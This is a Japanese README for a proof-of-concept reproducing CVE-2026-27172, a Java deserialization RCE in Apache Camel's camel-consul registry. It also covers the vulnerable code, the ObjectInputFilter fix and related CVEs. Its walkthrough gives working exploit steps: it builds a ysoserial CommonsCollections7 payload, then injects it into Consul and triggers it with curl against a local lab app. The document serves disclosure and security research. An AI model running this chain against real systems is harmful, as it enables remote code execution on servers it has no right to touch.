
CVE-2026-27172 の再現コード: Apache Camel camel-consul ConsulRegistry Java デシリアライゼーション (RCE)
このプロジェクトは、Apache Camel の camel-consul コンポーネント (ConsulRegistry) における Java 逆シリアル化脆弱性 (CVE-2026-27172) を実証します。これは CVE-2024-22369、CVE-2024-23114、CVE-2026-25747 と同じ種類の問題であり、それらの CVE の最初の修正時に見落とされました。
アドバイザリ: https://camel.apache.org/security/CVE-2026-27172.html
| プロパティ | 値 |
|---|---|
| コンポーネント | camel-consul |
| 影響を受けるクラス | org.apache.camel.component.consul.ConsulRegistry (ConsulRegistryUtils.deserialize) |
| 脆弱なメソッド | lookupByName(), lookupByNameAndType(), findByTypeWithName(), findByType() |
| CWE | CWE-502: 信頼できないデータの逆シリアル化 |
| 影響 | リモートコード実行 (RCE) |
| 影響を受けるバージョン | 3.0.0 から 4.14.6 未満、および 4.15.0 から 4.18.1 未満 |
| 修正済みバージョン | 4.14.6, 4.18.1, 4.19.0 |
| JIRA | CAMEL-23029 |
ConsulRegistry は、Consul のキー/バリューストアを Camel レジストリとして使用します。Bean を名前で検索すると、保存された値が Base64 デコードされ、生の ObjectInputStream で逆シリアル化されますが、影響を受けるバージョンでは ObjectInputFilter がありません:
// ConsulRegistry.lookupByName(...)
public Object lookupByName(String key) {
kvClient = consul.keyValueClient();
return kvClient.getValueAsString(key).map(result -> {
byte[] postDecodedValue = ConsulRegistryUtils.decodeBase64(result);
return ConsulRegistryUtils.deserialize(postDecodedValue); // no filter (affected)
}).orElse(null);
}
// ConsulRegistryUtils.deserialize(...) - affected version
static Object deserialize(byte[] bytes) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
return in.readObject(); // NO FILTERING!
}
}
Camel が後で検索するキーの下で Consul KV ストアに保存されたオブジェクトはすべて逆シリアル化されます。その KV パスに書き込み可能な攻撃者は、レジストリ検索時に実行される gadget-chain ペイロードを仕込むことができます。
docker run -d --name consul -p 8500:8500 hashicorp/consul:1.17 agent -dev -client 0.0.0.0
mvn clean package -DskipTests
mvn spring-boot:run
curl http://localhost:8080/exploit/init
wget https://github.com/frohoff/ysoserial/releases/download/v0.0.6/ysoserial-all.jar
# Linux (benign proof: create a file). Use "open -a Calculator" on macOS, "calc.exe" on Windows.
java -jar ysoserial-all.jar CommonsCollections7 "touch /tmp/pwned" | base64 -w0 > payload.b64
ConsulRegistry は Base64 エンコードされたシリアル化オブジェクトを保存するため、ペイロードは Base64 として配信されます。
curl -X POST http://localhost:8080/exploit/inject \
-H "Content-Type: text/plain" \
--data-binary @payload.b64
curl http://localhost:8080/exploit/trigger
lookupByName() は KV 値を読み取り、Base64 デコードして逆シリアル化し、gadget chain を実行します。
ls -la /tmp/pwned
ファイル /tmp/pwned が存在する場合、悪用は成功しています。
この脆弱性は、レジストリが Bean を解決するたびにトリガーされます:
.to("bean:...")、bean(...)、.process("...") はすべて lookupByName() を呼び出します。findByType() / lookupByNameAndType() は KV エントリを反復処理し、それらを逆シリアル化します。commons-collections:3.2.1 (CommonsCollections1-7 gadgets)修正 (CAMEL-23029) では、ConsulRegistryUtils.deserialize に設定可能な ObjectInputFilter (デフォルト java.**;org.apache.camel.**;!*) が追加され、信頼できるクラスを許可リストに登録できる deserializationFilter オプションが公開されています:
static Object deserialize(byte[] bytes, String deserializationFilter) {
try (ObjectInputStream in = new ObjectInputStream(new ByteArrayInputStream(bytes))) {
if (deserializationFilter != null) {
in.setObjectInputFilter(ObjectInputFilter.Config.createFilter(deserializationFilter));
}
return in.readObject();
}
}
修正済みバージョンにアップグレードするまでの間:
CVE-2026-27172/
├── pom.xml # Maven 設定 (影響を受ける camel-consul バージョン)
├── README.md # このファイル
└── src/main/
├── java/com/example/
│ ├── Application.java # Spring Boot エントリポイント
│ ├── ConsulRegistryRoute.java # Camel ルート (無効; 実際の使用例を示す)
│ └── ExploitController.java # PoC 用 REST エンドポイント
└── resources/
└── application.properties
この再現ツールは、公開され修正済みの脆弱性に対するセキュリティ研究および許可されたテストのみを目的として提供されています。明示的な許可なくシステムに対して使用しないでください。
| 観点 | Cassandra (CVE-2024-23114) | LevelDB (CVE-2026-25747) | Consul (CVE-2026-27172) |
|---|
| バックエンドストア | Cassandra テーブル | LevelDB ファイル | Consul KV ストア |
| ObjectInputFilter (修正前) | なし | なし | なし |
| 修正 | ObjectInputFilter 許可リスト | ObjectInputFilter 許可リスト | ObjectInputFilter 許可リスト |
| JIRA | CAMEL-20306 | CAMEL-22821 | CAMEL-23029 |